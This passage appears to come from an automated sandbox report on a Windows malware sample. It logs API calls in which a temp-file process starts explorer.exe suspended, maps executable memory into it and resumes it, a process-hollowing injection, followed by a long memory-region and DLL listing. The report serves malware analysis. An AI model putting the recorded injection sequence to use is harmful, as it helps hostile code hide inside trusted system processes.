[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x70a488 [0059.036] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="explorer.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x28fe30*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28fe20 | out: lpCommandLine="explorer.exe", lpProcessInformation=0x28fe20*(hProcess=0xec, hThread=0xe8, dwProcessId=0xa84, dwThreadId=0xa88)) returned 1 [0059.097] NtQueryInformationProcess (in: ProcessHandle=0xec, ProcessInformationClass=0x0, ProcessInformation=0x28fef8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x28fef8, ReturnLength=0x0) returned 0x0 [0059.098] ReadProcessMemory (in: hProcess=0xec, lpBaseAddress=0x7efde008, lpBuffer=0x28fef0, nSize=0x4, lpNumberOfBytesRead=0x28fef4 | out: lpBuffer=0x28fef0*, lpNumberOfBytesRead=0x28fef4*=0x4) returned 1 [0059.098] ReadProcessMemory (in: hProcess=0xec, lpBaseAddress=0x850000, lpBuffer=0x70abf8, nSize=0x6000, lpNumberOfBytesRead=0x28fef4 | out: lpBuffer=0x70abf8*, lpNumberOfBytesRead=0x28fef4*=0x6000) returned 1 [0059.115] ReadProcessMemory (in: hProcess=0xec, lpBaseAddress=0x850000, lpBuffer=0x2310020, nSize=0x281000, lpNumberOfBytesRead=0x28fef4 | out: lpBuffer=0x2310020*, lpNumberOfBytesRead=0x28fef4*=0x281000) returned 1 [0059.217] NtCreateSection (in: SectionHandle=0x28fee8, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x28fe70, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x28fee8*=0xf4) returned 0x0 [0059.218] NtMapViewOfSection (in: SectionHandle=0xf4, ProcessHandle=0xffffffff, BaseAddress=0x28fee4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x28feec*=0x281000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x28fee4*=0x25a0000, SectionOffset=0x0, ViewSize=0x28feec*=0x281000) returned 0x0 [0059.232] VirtualAlloc (lpAddress=0x0, dwSize=0x17000, flAllocationType=0x3000, flProtect=0x4) returned 0x340000 [0059.232] VirtualAlloc (lpAddress=0x340000, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x340000 [0059.232] VirtualAlloc (lpAddress=0x341000, dwSize=0x10118, flAllocationType=0x1000, flProtect=0x40) returned 0x341000 [0059.234] VirtualAlloc (lpAddress=0x352000, dwSize=0x1db2, flAllocationType=0x1000, flProtect=0x40) returned 0x352000 [0059.234] VirtualAlloc (lpAddress=0x354000, dwSize=0xa00, flAllocationType=0x1000, flProtect=0x40) returned 0x354000 [0059.235] VirtualAlloc (lpAddress=0x356000, dwSize=0x81c, flAllocationType=0x1000, flProtect=0x40) returned 0x356000 [0059.235] NtCreateSection (in: SectionHandle=0x28fed8, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x28fe70, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x28fed8*=0xf0) returned 0x0 [0059.235] NtMapViewOfSection (in: SectionHandle=0xf0, ProcessHandle=0xffffffff, BaseAddress=0x28fed4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x28fedc*=0x178eb, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x28fed4*=0x370000, SectionOffset=0x0, ViewSize=0x28fedc*=0x18000) returned 0x0 [0059.236] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3706e3, nSize=0x104 | out: lpFilename="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\BN649B.tmp" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\bn649b.tmp")) returned 0x2f [0059.238] NtMapViewOfSection (in: SectionHandle=0xf0, ProcessHandle=0xec, BaseAddress=0x28fed0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x28fedc*=0x18000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x28fed0*=0x70000, SectionOffset=0x0, ViewSize=0x28fedc*=0x18000) returned 0x0 [0059.299] ResumeThread (hThread=0xe8) returned 0x1 [0059.300] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Process: id = "7" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x526ba000" os_pid = "0xa84" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa7c" cmd_line = "explorer.exe" cur_dir = "C:\\Users\\aDU0VK IWA5kLS\\Desktop\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1136 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1137 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1138 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1139 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1140 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1141 start_va = 0x110000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1142 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1143 start_va = 0x850000 end_va = 0xad0fff entry_point = 0x850000 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\SysWOW64\\explorer.exe" (normalized: "c:\\windows\\syswow64\\explorer.exe") Region: id = 1144 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1145 start_va = 0x77720000 end_va = 0x7789ffff entry_point = 0x77720000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1146 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1147 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1148 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1149 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1150 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1151 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1152 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1157 start_va = 0x70000 end_va = 0x87fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1158 start_va = 0x3c0000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1159 start_va = 0x73c40000 end_va = 0x73c9bfff entry_point = 0x73c7f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1160 start_va = 0x73ca0000 end_va = 0x73cdefff entry_point = 0x73ccde78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1161 start_va = 0x73d10000 end_va = 0x73d17fff entry_point = 0x73d120f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1162 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1163 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1164 start_va = 0x90000 end_va = 0xf6fff entry_point = 0x90000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1165 start_va = 0x370000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1166 start_va = 0x5d0000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 1167 start_va = 0x73600000 end_va = 0x73612fff entry_point = 0x73601d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 1168 start_va = 0x73910000 end_va = 0x73a7efff entry_point = 0x73910000 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\SysWOW64\\ExplorerFrame.dll" (normalized: "c:\\windows\\syswow64\\explorerframe.dll") Region: id = 1169 start_va = 0x73a80000 end_va = 0x73afffff entry_point = 0x73a937c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1170 start_va = 0x73b40000 end_va = 0x73c34fff entry_point = 0x73b40000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 1171 start_va = 0x73f10000 end_va = 0x73f3efff entry_point = 0x73f10000 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\SysWOW64\\duser.dll" (normalized: "c:\\windows\\syswow64\\duser.dll") Region: id = 1172 start_va = 0x74020000 end_va = 0x74027fff entry_point = 0x74020000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 1173 start_va = 0x74030000 end_va = 0x741bffff entry_point = 0x74030000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 1174 start_va = 0x741c0000 end_va = 0x741e4fff entry_point = 0x741c0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 1175 start_va = 0x741f0000 end_va = 0x742a1fff entry_point = 0x741f0000 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\SysWOW64\\dui70.dll" (normalized: "c:\\windows\\syswow64\\dui70.dll") Region: id = 1176 start_va = 0x74930000 end_va = 0x74939fff entry_point = 0x74930000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 1177 start_va = 0x75270000 end_va = 0x7527bfff entry_point = 0x752710e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1178 start_va = 0x75280000 end_va = 0x752dffff entry_point = 0x7529a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1179 start_va = 0x752e0000 end_va = 0x7543bfff entry_point = 0x7532ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1180 start_va = 0x75440000 end_va = 0x7552ffff entry_point = 0x75450569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1181 start_va = 0x757c0000 end_va = 0x757d1fff entry_point = 0x757c1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1182 start_va = 0x757e0000 end_va = 0x758dffff entry_point = 0x757fb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1183 start_va = 0x75970000 end_va = 0x75988fff entry_point = 0x75974975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1184 start_va = 0x75ab0000 end_va = 0x75b3ffff entry_point = 0x75ac6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1185 start_va = 0x75bc0000 end_va = 0x75c8bfff entry_point = 0x75bc168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1186 start_va = 0x75ca0000 end_va = 0x75cc6fff entry_point = 0x75ca58b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1187 start_va = 0x75d10000 end_va = 0x75dbbfff entry_point = 0x75d1a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1188 start_va = 0x75dc0000 end_va = 0x75ecffff entry_point = 0x75dd32d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1189 start_va = 0x75ed0000 end_va = 0x75f5efff entry_point = 0x75ed3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1190 start_va = 0x75fe0000 end_va = 0x76c29fff entry_point = 0x76061601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1191 start_va = 0x76c30000 end_va = 0x76dccfff entry_point = 0x76c317e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1192 start_va = 0x76f10000 end_va = 0x76f66fff entry_point = 0x76f29ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1193 start_va = 0x76f80000 end_va = 0x76fdffff entry_point = 0x76f9158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1194 start_va = 0x76fe0000 end_va = 0x76fe9fff entry_point = 0x76fe36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1195 start_va = 0x77130000 end_va = 0x77175fff entry_point = 0x77137478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1196 start_va = 0x77180000 end_va = 0x7721cfff entry_point = 0x771b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1197 start_va = 0x77280000 end_va = 0x7731ffff entry_point = 0x772949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1198 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 1199 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x0 region_type = private name = "private_0x0000000077440000" filename = "" Region: id = 1200 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1201 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1202 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1203 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1204 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1205 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 1206 start_va = 0x170000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1207 start_va = 0x2b0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1208 start_va = 0x440000 end_va = 0x5c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1209 start_va = 0xae0000 end_va = 0xc60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 1210 start_va = 0xc70000 end_va = 0x206ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c70000" filename = "" Region: id = 1211 start_va = 0x2070000 end_va = 0x2462fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002070000" filename = "" Region: id = 1212 start_va = 0x76dd0000 end_va = 0x76e04fff entry_point = 0x76dd145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1213 start_va = 0x75cd0000 end_va = 0x75cd5fff entry_point = 0x75cd1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1214 start_va = 0x2470000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 1215 start_va = 0x74c60000 end_va = 0x74ca3fff entry_point = 0x74c763f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1216 start_va = 0x6d0000 end_va = 0x78ffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 1217 start_va = 0x76e10000 end_va = 0x76f04fff entry_point = 0x76e11865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1218 start_va = 0x76ff0000 end_va = 0x77125fff entry_point = 0x76ff1b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1219 start_va = 0x75990000 end_va = 0x75aacfff entry_point = 0x7599158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1220 start_va = 0x776f0000 end_va = 0x776fbfff entry_point = 0x776f238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1221 start_va = 0x75530000 end_va = 0x7572afff entry_point = 0x755322d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1222 start_va = 0x6d0000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 1223 start_va = 0x750000 end_va = 0x78ffff entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 1224 start_va = 0x800000 end_va = 0x83ffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1225 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1226 start_va = 0x2690000 end_va = 0x295efff entry_point = 0x2690000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1227 start_va = 0x190000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1228 start_va = 0x1a0000 end_va = 0x1a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1229 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1230 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1231 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1232 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1233 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1234 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1235 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1236 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1237 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1238 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1239 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1240 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1241 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1242 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1243 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1244 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1245 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1246 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1247 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1248 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1249 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1250 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1251 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1252 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1253 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1254 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1255 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1256 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1257 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1258 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1259 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1260 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1261 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1262 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1263 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1264 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1265 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1266 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1267 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1268 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1269 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1270 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1271 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1272 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1273 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1274 start_va = 0x190000 end_va = 0x197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1275 start_va = 0x190000 end_va 